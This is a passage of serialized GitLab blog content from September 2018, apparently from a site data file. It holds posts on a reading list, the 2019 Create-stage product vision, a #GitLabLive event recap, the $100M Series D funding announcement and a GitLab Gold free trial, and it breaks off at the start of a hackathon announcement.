Manager, has been rereading this\npowerful book, saying\n\"It's a constant reminder to practice mindfulness in the things we ship at GitLab, and to make\nsure we're adding features to the product that are consciously designed. The book\nalways serves as a reminder that we're all designers; it's our collective\nresponsibility to ensure that we're intentionally solving the right problems for our users.\"\n\n### Go 2 Draft Designs\n\n[Eric Johnson](/company/team/#edjdev), VP of Engineering, has been reading about the\nbig news: [Generics in Golang 2.0](https://blog.golang.org/go2draft)! Woohoo!\n\n### [Storytelling with Data: A Data Visualization Guide for Business Professionals](https://www.amazon.com/Storytelling-Data-Visualization-Business-Professionals/dp/1119002257)\n\n[Emilie Schario](https://gitlab.com/emilie), Data Analyst, has been enjoying\nthis riveting read,\nand says, \"In my role as a data analyst, I spend a lot of time helping different\nteams understand what the data they're collecting or using mean. Clear\ncontext, useful narratives, and consistent visuals help me empower stakeholders\nto make data-driven decisions.\"\n\n[Cover image](https://unsplash.com/photos/XT-o5O458as?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) by [Ugur Akdemir](https://unsplash.com/@ugur), licensed\nunder [CC X](https://unsplash.com/license)\n{: .note}\n",[676],{"slug":32070,"featured":6,"template":678},"what-were-reading-in-september","content:en-us:blog:what-were-reading-in-september.yml","What Were Reading In September","en-us/blog/what-were-reading-in-september.yml","en-us/blog/what-were-reading-in-september",{"_path":32076,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32077,"content":32082,"config":32087,"_id":32089,"_type":16,"title":32090,"_source":17,"_file":32091,"_stem":32092,"_extension":20},"/en-us/blog/create-vision",{"title":32078,"description":32079,"ogTitle":32078,"ogDescription":32079,"noIndex":6,"ogImage":23338,"ogUrl":32080,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32080,"schema":32081},"GitLab's 2019 product vision for DevOps Create","Take an early look at where collaboration, merge requests, and the Web IDE are heading in 2019.","https://about.gitlab.com/blog/create-vision","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab's 2019 product vision for DevOps Create\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"James Ramsay\"}],\n        \"datePublished\": \"2018-09-21\",\n      }",{"title":32078,"description":32079,"authors":32083,"heroImage":23338,"date":32084,"body":32085,"category":299,"tags":32086},[24597],"2018-09-21","\nGitLab is a single application, so for convenience we organize by [DevOps stages](/handbook/product/categories/). The Create stage of the DevOps lifecycle is about creating code, and includes Git repositories, merge requests, code review, the Web IDE, wikis, and snippets.\n\nManaging source code is at the heart of GitLab – it's in our name and it powers your applications. This year we've shipped many important improvements to make it easier to go from idea to production. The [Web IDE](/releases/2018/06/22/gitlab-11-0-released/#cicd-pipeline-status-and-job-traces-in-the-web-ide) makes it easy for anyone to contribute, and faster to work with merge requests. [Squash and Merge](/releases/2018/06/22/gitlab-11-0-released/#squash-and-merge-in-gitlab-core-and-gitlabcom-free), and [Rebase and Fast-forward Merge](/releases/2018/01/22/gitlab-10-4-released/#rebase-and-fast-forward-in-ce) are available in GitLab CE. [File locking](/releases/2018/02/22/gitlab-10-5-released/#git-lfs-2-locking-support) is integrated with Git LFS. [Maintainers can push to forks](/releases/2018/03/22/gitlab-10-6-released/#maintainers-can-push-to-mr-from-fork). And there is much more to come this year, like [batch comments](https://gitlab.com/gitlab-org/gitlab-ee/issues/1984) for merge requests, and [suggested approvers](https://gitlab.com/gitlab-org/gitlab-ee/issues/5382) based on code owners.\n\nHere are some of the things we're thinking about for 2019:\n\n- [Collaboration](#collaboration)\n- [Code review and approvals](#code-review-and-approvals)\n- [Web IDE](#web-ide)\n- [Summary](#summing-up)\n\nAs our plans are always in draft, we'd love to hear your thoughts, and any suggestions.\n\n### Collaboration\n\nGit's distributed design made new collaborative workflows possible, and forking has made collaboration even easier. Forking is the workflow of choice for open source, and for the same reasons it is also great for private organizations. We want to remove the barriers to collaboration and [inner sourcing](/topics/version-control/what-is-innersource/), but also make it easier to collaborate with external open source projects too.\n\nThe distributed capabilities of Git aren't limited to a single server. Open source software is used extensively in commercial applications of all kinds, but collaboration between open source projects and commercial is difficult. Features and bug fixes to open source projects can sit in stale forks in private Git repositories for lack of tools and process. [Distributed merge requests](https://gitlab.com/groups/gitlab-org/-/epics/260) will make it easy publish a patch from a private GitLab instance to a public upstream server, be it GitLab, GitHub or Bitbucket. Teams will be able to work on a patch privately following internal processes, but instead of merging the reviewed and tested change privately, it can be published to a new public merge request upstream. Contributing fixes and features upstream isn't only good for the community, but it also makes commercial sense by eliminating the costly task of keeping a stale, private fork up to date. We want to make it easy for everyone to contribute to open source software, as individuals and as companies!\n\n![Mockup of distributed merge request widget](https://about.gitlab.com/images/blogimages/merge-request-distributed.png){: .medium.center.shadow}\n\nWe'll also be improving simpler forking workflows too with important quality-of-life improvements. To make it easy to see how far behind or diverged your fork is, we will make it possible to [compare branches](https://gitlab.com/gitlab-org/gitlab-ce/issues/19788) across forks and [cherry pick](https://gitlab.com/gitlab-org/gitlab-ce/issues/43568) changes directly from the upstream project into your fork. Forks of private projects will also [inherit permissions](https://gitlab.com/gitlab-org/gitlab-ce/issues/8935) from the upstream project, making it possible for upstream maintainers to rebase stale merge requests and help contributors. This will allow teams to adopt forking workflows without needing to make every project public to the world or to the organization.\n\n### Code review and approvals\n\nMerge requests are key to the workflows that allow teams to iterate rapidly and ship amazing products quickly, by bringing together all the important information in a single place. Critical to this workflow is the code review, and we want GitLab to be the best tool for doing code reviews.\n\nAutomatic code quality and linting tools can prevent code reviews becoming simple code style reviews, but without the inline feedback a reviewer can't be sure which problems have been automatically detected. A new [API for line by line code quality feedback](https://gitlab.com/gitlab-org/gitlab-ce/issues/50299) will allow output from tools to be rendered natively in GitLab in the merge request diff. Merge request authors will have a single source of truth, and code reviewers can confidently focus on important structural feedback.\n\nCode review feedback cannot truly be resolved and the merge request approved until the reviewer checks the feedback was correctly addressed. This step prevents feedback from being misunderstood or overlooked, but it is currently difficult and time consuming. We are going to streamline this important step by allowing you to [review changes since code review](https://gitlab.com/groups/gitlab-org/-/epics/314) and making [merge request diffs smarter](https://gitlab.com/groups/gitlab-org/-/epics/340). When the change is straightforward, we're going to make it possible to simply [propose a change](https://gitlab.com/gitlab-org/gitlab-ce/issues/18008) as easily as leaving a comment that can be applied with a single click – no more copying and pasting `sed` one liners! And we're going to make it easier to [view and add comments to commits](https://gitlab.com/gitlab-org/gitlab-ee/issues/1769) at any time.\n\nIn the real world, complex features often require large, complex merge requests. We will support these situations better with [commit by commit code review](https://gitlab.com/groups/gitlab-org/-/epics/285), autosquashing [`fixup!`](https://gitlab.com/gitlab-org/gitlab-ee/issues/212) and [`squash!`](https://gitlab.com/gitlab-org/gitlab-ce/issues/50400) commits, and allowing you to [preview](https://gitlab.com/gitlab-org/gitlab-ee/issues/7259) the resultant squashed commits.\n\nComplex real-world changes also need good commit messages, but commit messages are too easily neglected. Without good commit messages, debugging a regression, or modifying an important existing function is painful and error prone. To help teams adopt best practice [commit hygiene](/blog/keeping-git-commit-history-clean/), we will make [commit messages part of code review](https://gitlab.com/groups/gitlab-org/-/epics/286) by allowing comments on commit messages, improving the [visibility of commit messages](https://gitlab.com/gitlab-org/gitlab-ce/issues/49803), and making [squash and merge smarter](https://gitlab.com/gitlab-org/gitlab-ce/issues/47149). GitLab should celebrate great commit messages and amplify their benefits to make it easier for teams to adopt best practices.\n\n### Web IDE\n\nIn 2018 we're building a strong foundation for a cloud development environment with [client side evaluation](https://gitlab.com/gitlab-org/gitlab-ce/issues/47268) and [server side evaluation](https://gitlab.com/gitlab-org/gitlab-ee/issues/4013) powered live previews, and server side evaluation will also enable a [web terminal](https://gitlab.com/gitlab-org/gitlab-ee/issues/5426) to test your changes in real time. IDEs are also very personal and should support customization, to make it easy to move between your local IDE and GitLab IDE. Please share your feedback, and consider contributing – I'd love to see support for [dark syntax themes](https://gitlab.com/gitlab-org/gitlab-ce/issues/46334) and [vim keybindings](https://gitlab.com/gitlab-org/gitlab-ce/issues/47930)!\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/sSWu6TyubTE\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nThe Web IDE makes it easier than ever to resolve code review feedback, reducing the need to switch context in your local development environment, but we can make it even better. Addressing a comprehensive code review still requires switching backwards and forwards between the merge request and the Web IDE. [Line by line code quality feedback](https://gitlab.com/gitlab-org/gitlab-ce/issues/50299) available in the merge request diff will also be available in the Web IDE as will [live linting feedback](https://gitlab.com/groups/gitlab-org/-/epics/70) powered by server side evaluation so to help prevent new code styling problems being created while resolving feedback.\n\nWe are also considering integrating [merge request discussions](https://gitlab.com/groups/gitlab-org/-/epics/72) so that code review comments can be addressed without needing to continually switch between tabs. We don't think the Web IDE should replace the merge request, nor should every feature be duplicated into it, but do think the Web IDE can further simplify the process for resolving code review feedback so teams can iterate faster.\n\n### Summing up\n\nWriting, reviewing, and merging code is where the rubber hits the road when taking your app from idea to production, and in 2019 we want it to be better than ever before!\n\nThe [GitLab product vision](/direction/) is public so you can read up on what we're thinking about at any time, about every part of the product. Please join the conversation and share your feedback on these ideas, and offer ideas of your own! Your contributions – idea or code – are welcomed and appreciated so that we can all work together to make GitLab the best application to build and ship your next great idea.\n",[676,754,2368,1444,4103],{"slug":32088,"featured":6,"template":678},"create-vision","content:en-us:blog:create-vision.yml","Create Vision","en-us/blog/create-vision.yml","en-us/blog/create-vision",{"_path":32094,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32095,"content":32100,"config":32105,"_id":32107,"_type":16,"title":32108,"_source":17,"_file":32109,"_stem":32110,"_extension":20},"/en-us/blog/gitlab-live-event-recap",{"title":32096,"description":32097,"ogTitle":32096,"ogDescription":32097,"noIndex":6,"ogImage":32041,"ogUrl":32098,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32098,"schema":32099},"Here's what went down at #GitLabLive","We went live today to discuss our $100m Series D funding and what's next for GitLab – catch up on the recording here.","https://about.gitlab.com/blog/gitlab-live-event-recap","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Here's what went down at #GitLabLive\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2018-09-20\",\n      }",{"title":32096,"description":32097,"authors":32101,"heroImage":32041,"date":32102,"body":32103,"category":299,"tags":32104},[19026],"2018-09-20","\n\nAfter [yesterday's big news](/blog/announcing-100m-series-d-funding/), we held a\n[#GitLabLive](https://twitter.com/search?q=%23GitLabLive&src=tyah) event today to dive into what this means for us, for you, and for GitLab the product.\n\nAs you can tell, we were all pretty excited about it:\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n  \u003Cblockquote class=\"twitter-tweet\" data-partner=\"tweetdeck\">\u003Cp lang=\"en\" dir=\"ltr\">Waiting for \u003Ca href=\"https://twitter.com/hashtag/GitLabLive?src=hash&amp;ref_src=twsrc%5Etfw\">#GitLabLive\u003C/a> like \u003Ca href=\"https://t.co/eqw4ljZXaa\">pic.twitter.com/eqw4ljZXaa\u003C/a>\u003C/p>&mdash; Brendan O&#39;Leary 👨🏻‍💻 (@olearycrew) \u003Ca href=\"https://twitter.com/olearycrew/status/1042809056275193856?ref_src=twsrc%5Etfw\">September 20, 2018\u003C/a>\u003C/blockquote>\n  \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\nHosted by Director of Cloud Native Alliances [Priyanka Sharma](https://twitter.com/pritianka), the event covered GitLab past,\npresent, and future with GitLab team-members, investors, and customers. You can watch the whole thing below:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/ZgFqyXCsqPY\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Get the slides\n\n\u003Cfigure class=\"video_container\">\n\u003Ciframe src=\"https://docs.google.com/presentation/d/e/2PACX-1vTO_mVE0psqDSIOwmrv30ebL0IMdAIhYFHqBcoqI6b8_Cl1yl8f6FaAIm-d7qwsOWhhiUIqPxo6fjhH/embed?start=false&loop=false&delayms=3000\" frameborder=\"0\" width=\"1280\" height=\"749\" allowfullscreen=\"true\" mozallowfullscreen=\"true\" webkitallowfullscreen=\"true\">\u003C/iframe>\n\u003C/figure>\n\nJust as an aside:\n\n\u003Cdiv class=\"center\">\n\n  \u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">There’s a rumor going around that we borrowed the set of “Between Two Ferns” for \u003Ca href=\"https://twitter.com/hashtag/GitLabLive?src=hash&amp;ref_src=twsrc%5Etfw\">#GitLabLive\u003C/a>, can neither confirm nor deny 😆\u003C/p>&mdash; GitLab (@gitlab) \u003Ca href=\"https://twitter.com/gitlab/status/1042830634366853121?ref_src=twsrc%5Etfw\">September 20, 2018\u003C/a>\u003C/blockquote>\n  \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n## Highlights\n\n### [Company update](https://youtu.be/ZgFqyXCsqPY?t=57s)\n\nOur CEO and co-founder [Sid Sijbrandij](/company/team/#sytses) chats with Priyanka about some major company\nmilestones, from our beginnings at YCombinator, to recently being ranked [#44 on Inc. 5000's\nlist of the fastest-growing companies in the US for 2018](/blog/gitlab-ranked-44-on-inc-5000-list/), and our [CI solution being recognized by Forrester as a Leader in that space](/blog/gitlab-leader-continuous-integration-forrester-wave/). He also talks about our acquisition of Gemnasium, which spurred development of GitLab's integrated security features, as well as our focus on cloud native and [Kubernetes](/solutions/kubernetes/).\n\nReaching 2,000 contributors recently was also a landmark achievement for us, and we're proud to have switched to a [DCO for source code contributions](/blog/gitlab-switches-to-dco-license/) to make it even easier for everyone to contribute. We're thrilled to have a number of [foundational open source projects call GitLab home](/blog/welcome-gnome-to-gitlab/) now, giving weight to [#movingtogitlab](/blog/why-move-to-gitlab/).\n\nAll of this has been building towards yesterday's news: our [series D funding of $100 million](/blog/announcing-100m-series-d-funding/) to help us realize our vision of beating out nine other, best-in-class products with a single application.\n\nHow does it feel being part of the unicorn club?\n\n> \"It's exciting. When we came to Silicon Valley, YCombinator explained to us that if you're going to raise money from external investors, your aim should be to become a billion dollar company. Otherwise you should not raise any money and we seriously considered it. But we opted to raise the money and now our early shareholders can feel confident that we've got here. But we raised more money now so the bar is higher and we're going to try to keep growing the company.\" - Sid Sijbrandij, CEO, GitLab\n\n### [Why invest in GitLab?](https://youtu.be/ZgFqyXCsqPY?t=14m20s)\n\nMatthew Jacobson, General Partner at ICONiQ Capital, joins to share some insight into why they've invested in GitLab. With a focus on growth-stage investments, they look for product velocity and the strength and quality of the team.\n\nThe conversation between ICONiQ and GitLab started over two years ago, where the \"maniacal focus on product\" at GitLab became clear and the breadth of our ambition made a real impression. Nine categories is an ambitious product vision!\n\n### [Scaling a remote work culture](https://youtu.be/ZgFqyXCsqPY?t=22m4s)\n\nOur culture is extremely important to us. Chief Culture Officer [Barbie Brewer](/company/team/#BarbieJBrewer) joins to shed some light on how we preserve it as we scale, keeping people front and center at all times:\n\n> \"We focus on working with the best people, getting the best contributors, and building the best product... We have our [values](https://handbook.gitlab.com/handbook/values/) at the core of everything we do. We give each other feedback and push each other to be better.\" - Barbie Brewer, Chief Culture Officer, GitLab\n\nThe company growing doesn't necessarily mean the workforce needs to grow 1:1: \"We're not just growing fast, we're growing smart,\" said Barbie.\n\nBarbie also reiterated our commitment to [diversity, inclusion and belonging](https://handbook.gitlab.com/handbook/values/#diversity-inclusion), sharing some of the ways we encourage and empower GitLab team-members to uphold these values and help each other to learn and grow along the way. As always, our [handbook](/handbook/) is our single source of truth.\n\n### [Product update](https://youtu.be/ZgFqyXCsqPY?t=33m58s)\n\nTo fill us in on what's new with GitLab the product, we're joined by [William Chia](/company/team/#thewilliamchia), Manager, Product Marketing. We delivered the full software development lifecycle at the end of 2016, then set our sights on [Concurrent DevOps](/blog/from-dev-to-devops/). William shares how conversations with users and customers alerted us to the \"toolchain crisis\" and how this has inspired us to deliver Concurrent DevOps with a single application covering the entire DevOps lifecycle.\n\n#### [User perspective: Why GitLab?](https://youtu.be/ZgFqyXCsqPY?t=51m26s)\n\nWe hear from Michael Sobota, Director of Product Integration at Charter Communications, about their company goals of quick, iterative development, shifting operations concerns left, and how they're using GitLab as their DevOps platform to get there. They've gone from feedback cycles of **two weeks** to a matter of **minutes** – ultimately helping them to deliver a better customer experience.\n\n> \"Gone are the days of managing multiple build machines. It's all in the power of developers.\" - Michael Sobota, Director of Product Integration, Charter Communications\n\n### [Product vision](https://youtu.be/ZgFqyXCsqPY?t=1h2m50s)\n\nHead of Product [Mark Pundsack](/company/team/#MarkPundsack) joins to share our ambitious product vision, and we're so excited about it, we're dedicating a post to it on its own! In case you just can't wait, here's the rundown:\n\n1. GitLab is a complete [DevOps platform](/solutions/devops-platform/), delivered as a single application, enabling [Concurrent DevOps](/topics/concurrent-devops/).\n1. We're going to double down on what's working and focus on depth, breadth, and adding new roles to the product.\n1. In 2019, we plan to become leaders in four new areas: project management, continuous delivery and release automation, application security testing, and value stream management.\n1. We have 26 new product capabilities planned for 2019.\n1. DevOps isn't just about developers and operations. We plan to cover roles like designers and product managers so everyone can work concurrently in a single product.\n\n### [Q&A](https://youtu.be/ZgFqyXCsqPY?t=1h13m51s)\n\nSid's back in the house! He answers some audience questions, and encourages everyone to make suggestions for how to improve GitLab:\n\"Many times the hardest thing is figuring out what to make, not how to make it.\" More proof that [everyone can contribute](/company/strategy/#why)!\n",[277,736,676,736,10921],{"slug":32106,"featured":6,"template":678},"gitlab-live-event-recap","content:en-us:blog:gitlab-live-event-recap.yml","Gitlab Live Event Recap","en-us/blog/gitlab-live-event-recap.yml","en-us/blog/gitlab-live-event-recap",{"_path":32112,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32113,"content":32118,"config":32123,"_id":32125,"_type":16,"title":32126,"_source":17,"_file":32127,"_stem":32128,"_extension":20},"/en-us/blog/announcing-100m-series-d-funding",{"title":32114,"description":32115,"ogTitle":32114,"ogDescription":32115,"noIndex":6,"ogImage":32041,"ogUrl":32116,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32116,"schema":32117},"Announcing $100 million in Series D round funding led by ICONIQ Capital","Today we announced $100M in new funding to beat nine best-in-class products with a single application.","https://about.gitlab.com/blog/announcing-100m-series-d-funding","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Announcing $100 million in Series D round funding led by ICONIQ Capital\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2018-09-19\",\n      }",{"title":32114,"description":32115,"authors":32119,"heroImage":32041,"date":32120,"body":32121,"category":299,"tags":32122},[711],"2018-09-19","Today we are thrilled to announce our $100 million Series D funding led by ICONIQ Capital, bringing our valuation to over $1 billion and validating our position as the world’s first single application for the entire DevOps lifecycle. We’re elated that ICONIQ shares our vision of beating out nine other products with a single, best-in-class application that integrates each stage of the DevOps lifecycle. We plan to use the funding to become best-in-class in every DevOps software category from planning to monitoring. More than 100,000 organizations use GitLab to deploy to multiple clouds, implement [cloud native](/topics/cloud-native/) architectures, and practice Concurrent DevOps. This results in a 200 percent faster DevOps lifecycle with unmatched visibility, higher levels of efficiency, and comprehensive governance.\n\n> “GitLab is emerging as a leader across the entire software development ecosystem by releasing software at a pace that is unmatched by any competitor. They’re taking the broad software development market head-on by developing an application that allows organizations to churn out software at an accelerated rate with cost and time savings.” - Matthew Jacobson, General Partner at ICONIQ Capital\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/ZgFqyXCsqPY\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n\u003Ciframe src=\"https://docs.google.com/presentation/d/e/2PACX-1vTO_mVE0psqDSIOwmrv30ebL0IMdAIhYFHqBcoqI6b8_Cl1yl8f6FaAIm-d7qwsOWhhiUIqPxo6fjhH/embed?start=false&loop=false&delayms=3000\" frameborder=\"0\" width=\"1280\" height=\"749\" allowfullscreen=\"true\" mozallowfullscreen=\"true\" webkitallowfullscreen=\"true\">\u003C/iframe>\n\u003C/figure>\n\nEnterprises are facing a tool chain crisis, investing time and resources into piecing together disparate tools from different stages of the software development and operations lifecycle. A typical enterprise needs to integrate tools like VersionOne, Jira, GitHub, Jenkins, Artifactory, Electric Cloud, Puppet, New Relic, and BlackDuck. This causes poor visibility because data lives in so many different tools, slow cycle time because teams need to wait on each other, and bolted on security as an afterthought.\n\nOur open core application, which has more than 2,000 contributors, is breaking down this barrier by building features for each stage of the DevOps lifecycle into a single application. This enables Concurrent DevOps, the ability for teams to manage, plan, create, verify, package, release, configure, monitor, and secure software together so they can have visibility into what matters, start without waiting, and ship with confidence.\n\n> “Our goal is to strive for less people managing processes and more automation within our workflow. GitLab does just that by eliminating the complicated web that tied all of our development tools together, so we now have a single, automated application that makes our team more efficient.” — Adam Dehnel, product architect, BI Worldwide\n\nWe started as source code management based on Git. But when announcing our series C last year, we [voiced the ambition](/blog/gitlab-raises-20-million-to-complete-devops/) to grow beyond that to cover every product category of the DevOps lifecycle. Some features have already become best in class, like the continuous integration system that scored highest in the current offering category in The Forrester Wave™: Continuous Integration Tools, Q3 2017 report, and was recognized as a \"Strong Performer\" in The Forrester New Wave™ for Value Stream Management Tools, Q3 2018. With this latest funding round and the growing number of people contributing code to GitLab, we are well positioned for all of our features to become best-in-class.\n\n> “Two of the defining characteristics of modern application development are an open, collaborative process and toolchains that transcend individual product categories from planning out to operations. By marrying an open source development process to a comprehensive set of functional capabilities, GitLab aims to leverage those precise qualities in a single application that meets enterprises’ DevOps needs.” - Stephen O’Grady, Principal Analyst with RedMonk\n\n> “Since raising a Series C round last year, we’ve delivered on our commitment to bring a single application for the entire DevOps lifecycle to market, and as a result have been able to reach over $1 billion in valuation. With this latest funding round, we will continue to improve upon our suite by building out our management, planning, packaging, monitoring and security features for a more robust DevOps application.” – Sid Sijbrandij, CEO of GitLab\n\nGitLab is purpose-built for organizations that are undergoing a digital transformation. Our focus is on supporting organizations that are aiming for faster DevOps lifecycles, cloud native architectures, and multi-cloud deployments. Some of our recent product milestones include the release of [Auto DevOps](/press/releases/2018-06-22-auto-devops-gitlab-11.html) to accelerate the DevOps lifecycle by 200 percent, a [Kubernetes integration](/releases/2018/03/22/gitlab-10-6-released/) so clusters can be spun up from within GitLab, and [enhancements to the Web IDE](/releases/2018/08/22/gitlab-11-2-released/) to make code changes easier for everyone.\n\nThe latest round brings our valuation to over $1 billion and validates our position as the world’s first single application for the entire DevOps lifecycle. As other DevOps tools become locked in to a single cloud, our customers are embracing a multi-cloud future, so their tooling must be independent of any single cloud provider and work across on-premises, private and public clouds. Customers want their tooling to be consistent, whether they deploy it themselves or use it as a service.\n\n> “Deployments are no longer limited to a traditional software release cycle. Using GitLab-CI for our Continuous Deployments over-the-air, we have empowered the customer to be their own technician while increasing the rate at which software can be delivered.” - Chris Hill, head of systems engineering, next generation infotainment at Jaguar Land Rover.\n\nWe began in 2014 with a mission to change all creative work from read-only to read-write, so that everyone can contribute. Since then, our all-remote company has grown from fewer than 10 to more than 350 team members in over 40 countries across the globe. And we’re not slowing down – we’re still [hiring for 77 positions](/jobs/)!\n\nWe were recently [recognized by Inc. Magazine as No. 44 out of the 5,000 fastest-growing private companies in the United States](/blog/gitlab-ranked-44-on-inc-5000-list/). We attribute our success to our open core model and our value of transparency. We have an emphasis on co-creation and a commitment to open source – [over 2,000 users and customers have contributed to GitLab’s code base](http://contributors.gitlab.com/). This philosophy helps build stronger customer relationships, which in turn result in a direct influence on feature updates to the product.\n\n## Get involved\n\nWe owe GitLab’s existence to your enthusiasm, drive, and hard work. Without our contributors’ belief in open source software, we would not be where we are today. We need your help to make our collective vision a reality. Everyone can contribute!\n\nWe are committed to standing by our [promise to be good stewards of open source](/blog/being-a-good-open-source-steward/),\nand keeping communication and collaboration amongst the community a high priority.\n\nTo get started you can learn more about [Concurrent DevOps](/topics/devops/ ), ready stories of [how others are using GitLab](/customers/), or visit our [contribution guide](/community/contribute/).",[736,676,10921],{"slug":32124,"featured":6,"template":678},"announcing-100m-series-d-funding","content:en-us:blog:announcing-100m-series-d-funding.yml","Announcing 100m Series D Funding","en-us/blog/announcing-100m-series-d-funding.yml","en-us/blog/announcing-100m-series-d-funding",{"_path":32130,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32131,"content":32136,"config":32140,"_id":32142,"_type":16,"title":32143,"_source":17,"_file":32144,"_stem":32145,"_extension":20},"/en-us/blog/free-trial-gitlab-gold",{"title":32132,"description":32133,"ogTitle":32132,"ogDescription":32133,"noIndex":6,"ogImage":29388,"ogUrl":32134,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32134,"schema":32135},"Take GitLab Gold out for a test drive","Free trials of GitLab Gold are now available – here's how to get started.","https://about.gitlab.com/blog/free-trial-gitlab-gold","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Take GitLab Gold out for a test drive\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2018-09-19\",\n      }",{"title":32132,"description":32133,"authors":32137,"heroImage":29388,"date":32120,"body":32138,"category":299,"tags":32139},[711],"\n\nIf you’re like me, you probably \"try\" new software and different products all\nthe time. I’ve lost track of how many trials I’ve started, but I know that the\ntrial helps me make a better decision about what to do next.\n\nThe same is true with GitLab; you really should try it out to get a sense about\nhow much power and value is at your fingertips. What’s the difference between\nusing the open source version of GitLab and the enterprise features of GitLab.com Gold / GitLab Ultimate? Night and day.\n\nHere are a few things that you should explore in a GitLab trial:\n* Security ([SAST](https://docs.gitlab.com/ee/user/application_security/sast/), [DAST](https://docs.gitlab.com/ee/user/application_security/dast/), and [dependency scans](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/))\n* [Portfolio management](/solutions/agile-delivery/) and tracking epics and roadmaps\n* [Licence management](https://docs.gitlab.com/ee/user/compliance/license_compliance/index.html)\n* [Kubernetes](/solutions/kubernetes/) integration and management\n* [LDAP](https://docs.gitlab.com/ee/administration/auth/ldap/index.html) integration\n* [Merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/) with multiple reviewers\n\nUntil now, if you wanted to explore these great GitLab features, your only option\nwas to [download GitLab Ultimate](/free-trial/), install it, spin up your self-managed instance,\nand start your trial.\n\nWe’ve heard from customers that they wanted an easier way to try the enterprise\nfeatures of GitLab without the extra work to download, install, and configure.\nNow, you can skip straight to trying GitLab with our new **GitLab Gold Trial**.\n**GitLab.com Gold** is our hosted version of Gitlab Ultimate, where you can quickly\nexplore and test the end-to-end [DevOps lifecycle](/topics/devops/) features that make GitLab a one-stop\nsolution for your entire delivery process.\n\n## Get started\n\nAre you ready to explore **GitLab Gold**? You can get started in three simple steps:\n1.  [Register  on GitLab.com](https://gitlab.com/users/sign_in#register-pane) **(If you already have an account, please skip this step)**\n2.  Sign into GitLab.com\n3.  [Click here to start your free trial of GitLab Gold](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com&glm_content=blog-2018-09-19b)\n![GitLab Gold Trial](https://about.gitlab.com/images/blogimages/GitLab_Gold_Trial.png){: .shadow.center.medium}\n\nPlease make sure you're signed into GitLab.com so you can go to the trial signup page.\n\n![GitLab Gold](https://about.gitlab.com/images/blogimages/GitLabGold.png){: .shadow.center.medium}\n",[736,4103],{"slug":32141,"featured":6,"template":678},"free-trial-gitlab-gold","content:en-us:blog:free-trial-gitlab-gold.yml","Free Trial Gitlab Gold","en-us/blog/free-trial-gitlab-gold.yml","en-us/blog/free-trial-gitlab-gold",{"_path":32147,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32148,"content":32153,"config":32158,"_id":32160,"_type":16,"title":32161,"_source":17,"_file":32162,"_stem":32163,"_extension":20},"/en-us/blog/gitlab-hackathon",{"title":32149,"description":32150,"ogTitle":32149,"ogDescription":32150,"noIndex":6,"ogImage":19778,"ogUrl":32151,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32151,"schema":32152},"Announcing the GitLab Hackathon","The first Hackathon event for the GitLab community will take place September 27-28.","https://about.gitlab.com/blog/gitlab-hackathon","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Announcing the GitLab Hackathon\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ray Paik\"}],\n        \"datePublished\": \"2018-09-17\",\n      }",{"title":32149,"description":32150,"authors":32154,"heroImage":19778,"date":32155,"body":32156,"category":813,"tags":32157},[21623],"2018-09-17","\n\nWhat makes GitLab a great community is that contributions to the GitLab product come from everyone, regardless of whether they are employed by GitLab or not. Concrete evidence of broad community contribution can be seen in the more than 2,500 merged  [“community contribution”](https://gitlab.com/groups/gitlab-org/-/merge_requests?label_name%5B%5D=Community+contribution&scope=all&sort=weight&state=merged) MRs. This community contribution not only helps to enhance the GitLab product, but also brings fresh ideas and perspectives.\n\n![Screenshot showing more than 2,500 merged community MRs](https://about.gitlab.com/images/blogimages/2018-09-13-gitlab-hackathon-inline.png){: .shadow.medium.center}\n*\u003Csmall>MRs from community members not employed by GitLab\u003C/small>*\n\n## What's the deal?\n\n In order to build momentum and to provide a forum for community members to get together, I'm excited to announce that we're holding a [GitLab Hackathon on September 27 and 